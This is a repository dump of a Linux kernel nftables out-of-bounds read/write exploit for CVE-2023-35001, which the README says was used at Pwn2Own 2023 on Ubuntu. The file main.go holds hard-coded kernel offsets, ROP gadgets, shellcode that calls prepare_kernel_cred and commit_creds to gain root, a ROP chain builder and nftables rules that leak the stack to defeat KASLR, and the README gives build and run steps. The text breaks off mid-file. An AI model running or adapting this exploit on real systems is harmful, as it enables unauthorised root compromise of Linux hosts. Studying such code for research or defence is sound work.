Repository: synacktiv/CVE-2023-35001 Branch: master Commit: 80ff412dc821 Files: 6 Total size: 51.2 KB Directory structure: gitextract__sgpeqhj/ ├── Makefile ├── README.md ├── go.mod ├── go.sum ├── main.go └── src/ └── wrapper.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: Makefile ================================================ CC = gcc CFLAGS = -Wall -Wextra -Werror CFLAGS += -std=c99 CFLAGS += -Os -g0 CFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -D_POSIX_C_SOURCE=200809L LDFLAGS = -static -s LDLIBS = -lc all: lpe.zip lpe.zip: exploit wrapper zip $@ $^ exploit: main.go go build wrapper: src/wrapper.c $(CC) $(CFLAGS) $^ -o $@ clean: $(RM) exploit wrapper $(RM) src/*.o $(RM) lpe.zip .PHONY: all clean run ================================================ FILE: README.md ================================================ # nftables oob read/write exploit (CVE-2023-35001) Exploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploit supports the kernel version available at the beginning of the event (5.19.0-35). ## Requirements * C compiler * Go compiler ## Usage ``` # Build $ make # Run $ ./exploit ``` This produces a `lpe.zip` file which can be unpacked on the target. There are two binaries in the archive: - **wrapper**: A C binary used to enter namespaces - **exploit**: The actual exploit The `exploit` file is the program that should be executed. It uses the `wrapper` program to call itself and enter a new namespace. ================================================ FILE: go.mod ================================================ module exploit go 1.15 require ( github.com/florianl/go-nflog v1.1.0 // indirect github.com/florianl/go-nflog/v2 v2.0.1 github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3 github.com/mdlayher/netlink v1.4.2 github.com/siadat/ipc v1.0.0 // indirect github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc golang.org/x/sys v0.0.0-20211205182925-97ca703d548d ) ================================================ FILE: go.sum ================================================ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v0.4.1 h1:GaI7EiDXDRfa8VshkTj7Fym7ha+y8/XxIgD2okUIjLw= github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/cilium/ebpf v0.5.0/go.mod h1:4tRaxcgiL706VnOzHOdBlY8IEAIdxINsQBcU4xJJXRs= github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/florianl/go-nflog v1.1.0 h1:7ujkntClswr/TpVbCPLEJOiMzJiRSl2vmBH/ByGA7gA= github.com/florianl/go-nflog v1.1.0/go.mod h1:ZIVMgm8TkUDJFvDFoaVqlGgGsEYKfSedN5EPIZomtEI= github.com/florianl/go-nflog/v2 v2.0.1 h1:8csWIqFQ2vDaZJkxezY3dXDB7bEFg0VRFsYd2Bzj3II= github.com/florianl/go-nflog/v2 v2.0.1/go.mod h1:g+SOgM/SuePn9bvS/eo3Ild7J71nSb29OzbxR+7cln0= github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3 h1:Fq+jS60rvgwyi9zFyGUXwsdNViYcw1tr3CA8ZoYQVEk= github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3/go.mod h1:b97ulCCFipUC+kSin+zygkvUVpx0vyIAwxXFdY3PlNc= github.com/josharian/native v0.0.0-20200817173448-b6b71def0850 h1:uhL5Gw7BINiiPAo24A2sxkcDI0Jt/sqp1v5xQCniEFA= github.com/josharian/native v0.0.0-20200817173448-b6b71def0850/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw= github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ= github.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok= github.com/jsimonetti/rtnetlink v0.0.0-20201216134343-bde56ed16391/go.mod h1:cR77jAZG3Y3bsb8hF6fHJbFoyFukLFOkQ98S0pQz3xw= github.com/jsimonetti/rtnetlink v0.0.0-20201220180245-69540ac93943/go.mod h1:z4c53zj6Eex712ROyh8WI0ihysb5j2ROyV42iNogmAs= github.com/jsimonetti/rtnetlink v0.0.0-20210122163228-8d122574c736/go.mod h1:ZXpIyOK59ZnN7J0BV99cZUPmsqDRZ3eq5X+st7u/oSA= github.com/jsimonetti/rtnetlink v0.0.0-20210212075122-66c871082f2b/go.mod h1:8w9Rh8m+aHZIG69YPGGem1i5VzoyRC8nw2kA8B+ik5U= github.com/jsimonetti/rtnetlink v0.0.0-20210525051524-4cc836578190/go.mod h1:NmKSdU4VGSiv1bMsdqNALI4RSvvjtz65tTMCnD05qLo= github.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786/go.mod h1:v4hqbTdfQngbVSZJVWUhGE/lbTFf9jb+ygmNUDQMuOs= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/mdlayher/ethtool v0.0.0-20210210192532-2b88debcdd43/go.mod h1:+t7E0lkKfbBsebllff1xdTmyJt8lH37niI6kwFk9OTo= github.com/mdlayher/ethtool v0.0.0-20211028163843-288d040e9d60/go.mod h1:aYbhishWc4Ai3I2U4Gaa2n3kHWSwzme6EsG/46HRQbE= github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc= github.com/mdlayher/netlink v0.0.0-20181210160939-e069752bc835/go.mod h1:a3TlQHkJH2m32RF224Z7LhD5N4mpyR8eUbCoYHywrwg= github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA= github.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M= github.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY= github.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o= github.com/mdlayher/netlink v1.2.0/go.mod h1:kwVW1io0AZy9A1E2YYgaD4Cj+C+GPkU6klXCMzIJ9p8= github.com/mdlayher/netlink v1.2.1/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU= github.com/mdlayher/netlink v1.2.2-0.20210123213345-5cc92139ae3e/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU= github.com/mdlayher/netlink v1.3.0/go.mod h1:xK/BssKuwcRXHrtN04UBkwQ6dY9VviGGuriDdoPSWys= github.com/mdlayher/netlink v1.4.0/go.mod h1:dRJi5IABcZpBD2A3D0Mv/AiX8I9uDEu5oGkAVrekmf8= github.com/mdlayher/netlink v1.4.1/go.mod h1:e4/KuJ+s8UhfUpO9z00/fDZZmhSrs+oxyqAS9cNgn6Q= github.com/mdlayher/netlink v1.4.2 h1:3sbnJWe/LETovA7yRZIX3f9McVOWV3OySH6iIBxiFfI= github.com/mdlayher/netlink v1.4.2/go.mod h1:13VaingaArGUTUxFLf/iEovKxXji32JAtF858jZYEug= github.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00/go.mod h1:GAFlyu4/XV68LkQKYzKhIo/WW7j3Zi0YRAz/BOoanUc= github.com/mdlayher/socket v0.0.0-20211007213009-516dcbdf0267/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g= github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb h1:2dC7L10LmTqlyMVzFJ00qM25lqESg9Z4u3GuEXN5iHY= github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g= github.com/siadat/ipc v1.0.0 h1:XYELasVEvDfiPuglKzrXiXKfSTXcnwk2aIN4UCK5gMU= github.com/siadat/ipc v1.0.0/go.mod h1:RCOzuAW5gAm5d3u+ykaWAcPx/Wkp/mv/SQq7H95C2xs= github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc h1:R83G5ikgLMxrBvLh22JhdfI8K6YXEPHx5P03Uu3DRs4= github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc/go.mod h1:ZjcWmFBXmLKZu9Nxj3WKYEafiSqer2rnvPr0en9UNpI= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38= golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/net v0.0.0-20181207154023-610586996380/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191007182048-72f939374954/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201216054612-986b41b23924/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211020060615-d418f374d309/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211201190559-0a0e4e1bb54c/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211209124913-491a49abca63 h1:iocB37TsdFuN6IBRZ+ry36wrkoV51/tl5vOWqkcPGvY= golang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20181210030007-2a47403f2ae5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190411185658-b44545bcd369/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201118182958-a01c418693c7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201218084310-7d0127a74742/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210123111255-9b0068b26619/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210216163648-f7da38b97c65/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211205182925-97ca703d548d h1:FjkYO/PPp4Wi0EAUOVLxePm7qVW4r4ctbWpURyuOD0E= golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo= golang.org/x/tools v0.1.8 h1:P1HhGGuLW4aAclzjtmJdf0mJOjVUZUzOTqkAkWL+l6w= golang.org/x/tools v0.1.8/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= honnef.co/go/tools v0.2.1/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY= honnef.co/go/tools v0.2.2 h1:MNh1AVMyVX23VUHE2O27jm6lNj3vjO5DexS4A1xvnzk= honnef.co/go/tools v0.2.2/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY= ================================================ FILE: main.go ================================================ package main import ( "C" "bytes" "encoding/binary" "fmt" "net" "time" "github.com/google/nftables" "golang.org/x/sys/unix" ) import ( "math/rand" "os" "os/exec" "path" "runtime" "strconv" "strings" "syscall" "unsafe" "github.com/google/nftables/expr" "github.com/mdlayher/netlink" "github.com/vishvananda/netns" ) /// Offsets for exploits type exploitConfig struct { // Offset from meta_set ops to nf_tables.ko base metaSetOpsOff uint64 // Offset from nf_tables.ko base to byteorder_ops byteorderOpsOff uint64 // Offset from nf_tables.ko base to payload_ops payloadOpsOff uint64 // Offset from nf_tables.ko base to immediate_ops immOpsOff uint64 /// Offset from the regs array on the stack in nft_chain and /// the return address to ip_local_deliver ipLocalDeliverRegOff uint64 // ip_local_deliver return from nft_do_chain ipLocalDeliverReturn uint64 // Offset to '__x64_sys_modify_ldt' function in the kernel x64_sys_modify_ldt_addr uint64 // Offset to 'do_task_dead' function in the kernel do_task_dead_addr uint64 // Offset to 'set_memory_rw' function in the kernel set_memory_rw_addr uint64 // Offset to 'prepare_kernel_cred' function in the kernel prepare_kernel_cred uint64 // Offset to 'commit_creds' function in the kernel commit_creds uint64 // Offset to '_copy_from_user' function in the kernel copy_from_user_priv uint64 // Offset to 'pop rdi; ret' gadget in the kernel pop_rdi uint64 // Offset to 'pop rsi; ret' gadget in the kernel pop_rsi uint64 // Offset to 'pop rdx; ret' gadget in the kernel pop_rdx uint64 } var currentConfig *exploitConfig func CToGoString(b []byte) string { i := bytes.IndexByte(b, 0) if i < 0 { i = len(b) } return string(b[:i]) } var cpuCount int = 0 var shellcode []byte = []byte{0x48, 0x31, 0xff, // xor rdi,rdi 0xe8, 0x00, 0x00, 0x00, 0x00, // call prepare_kernel_cred - 0x8 0x48, 0x89, 0xc7, // mov rdi,rax 0xe8, 0x00, 0x00, 0x00, 0x00, // call commit_creds - 0x10 0xc3, // ret } func init() { configs := make(map[string]exploitConfig) // Ubuntu kinetic kudu configs["5.19.0-35-generic"] = exploitConfig{ metaSetOpsOff: 0x2fde0, byteorderOpsOff: 0x2f7a0, payloadOpsOff: 0x2f9e0, immOpsOff: 0x2f1e0, x64_sys_modify_ldt_addr: 0x48900, do_task_dead_addr: 0x118150, set_memory_rw_addr: 0xb3680, prepare_kernel_cred: 0x101ea0, commit_creds: 0x101bd0, copy_from_user_priv: 0x6edfe0, ipLocalDeliverRegOff: 0x278, ipLocalDeliverReturn: 0xcd9793, pop_rdi: 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret pop_rsi: 0xa7c3e, // 0xffffffff810a7c3e : pop rsi ; ret pop_rdx: 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret } u := unix.Utsname{} unix.Uname(&u) if cfg, ok := configs[CToGoString((u.Release[:]))]; ok { currentConfig = &cfg fmt.Printf("[+] Using config: %v\n", CToGoString(u.Release[:])) } else { panic(fmt.Errorf("[!] Kernel version '%v' is unsupported", string(u.Release[:]))) } } func packet_leak_path() { // Now send a packet tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{ IP: net.IPv4(127, 0, 0, 1), Port: 1337, }) if err != nil { panic(err) } tx.Write([]byte{1, 2, 3, 4}) tx.Close() } func packet_ropchain_path(ropchain []byte) { tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{ IP: net.IPv4(127, 0, 0, 1), Port: 1337, }) if err != nil { panic(err) } tx.Write(ropchain) tx.Close() } func craft_rop_chain(kernelBase uint64) []byte { payload := new(bytes.Buffer) p64 := func(val uint64) { _ = binary.Write(payload, binary.LittleEndian, val) } // set_memory_rw(sys_modify_ldt, 2) p64(kernelBase + currentConfig.pop_rdi) p64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000))) p64(kernelBase + currentConfig.pop_rsi) p64(2) p64(kernelBase + currentConfig.set_memory_rw_addr) // Patch shellcode prepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8 shellcode[4] = uint8(prepare_kernel_cred_shellcode) shellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8) shellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16) shellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24) commit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 0x10 shellcode[12] = uint8(commit_creds_shellcode) shellcode[13] = uint8(commit_creds_shellcode >> 8) shellcode[14] = uint8(commit_creds_shellcode >> 16) shellcode[15] = uint8(commit_creds_shellcode >> 24) // copy shellcode to kernel (_copy_from_user) p64(kernelBase + currentConfig.pop_rdi) p64(kernelBase + currentConfig.x64_sys_modify_ldt_addr) p64(kernelBase + currentConfig.pop_rsi) p64(uint64(uintptr(unsafe.Pointer(&shellcode[0])))) p64(kernelBase + currentConfig.pop_rdx) p64(uint64(len(shellcode))) p64(kernelBase + currentConfig.copy_from_user_priv) // Make the kernel task hang p64(kernelBase + uint64(currentConfig.do_task_dead_addr)) return payload.Bytes() } func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error { // Main table for important chains table := conn.AddTable(&nftables.Table{ Family: nftables.TableFamilyIPv4, Name: "kaslr", }) // Set recovering the leaked values from the stack leakSet := nftables.Set{ Anonymous: false, Constant: false, Name: "leak-set", ID: 1, IsMap: true, Table: table, KeyType: nftables.TypeInteger, DataType: nftables.TypeInteger, } err := conn.AddSet(&leakSet, nil) if err != nil { return fmt.Errorf("Could no create set: %v", err) } // Chain used for leaking information off the stack leakChain := conn.AddChain(&nftables.Chain{ Name: "leak-chain", Table: table, }) conn.AddRule(&nftables.Rule{ Table: table, Chain: leakChain, Exprs: []expr.Any{ // Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11) &expr.Byteorder{ SourceRegister: 18, DestRegister: 8, Op: expr.ByteorderHton, Len: 24, Size: 2, }, // Add to the set the lsb's &expr.Immediate{ Register: 8, Data: []byte{0x00, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 14, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 15, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x02, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 16, SetName: "leak-set", Operation: uint32(unix.NFT_DYNSET_OP_ADD), }, &expr.Immediate{ Register: 8, Data: []byte{0x03, 0x00, 0x00, 0x00}, }, &expr.Dynset{ SrcRegKey: 8, SrcRegData: 17, SetName: "leak-set", Operation: 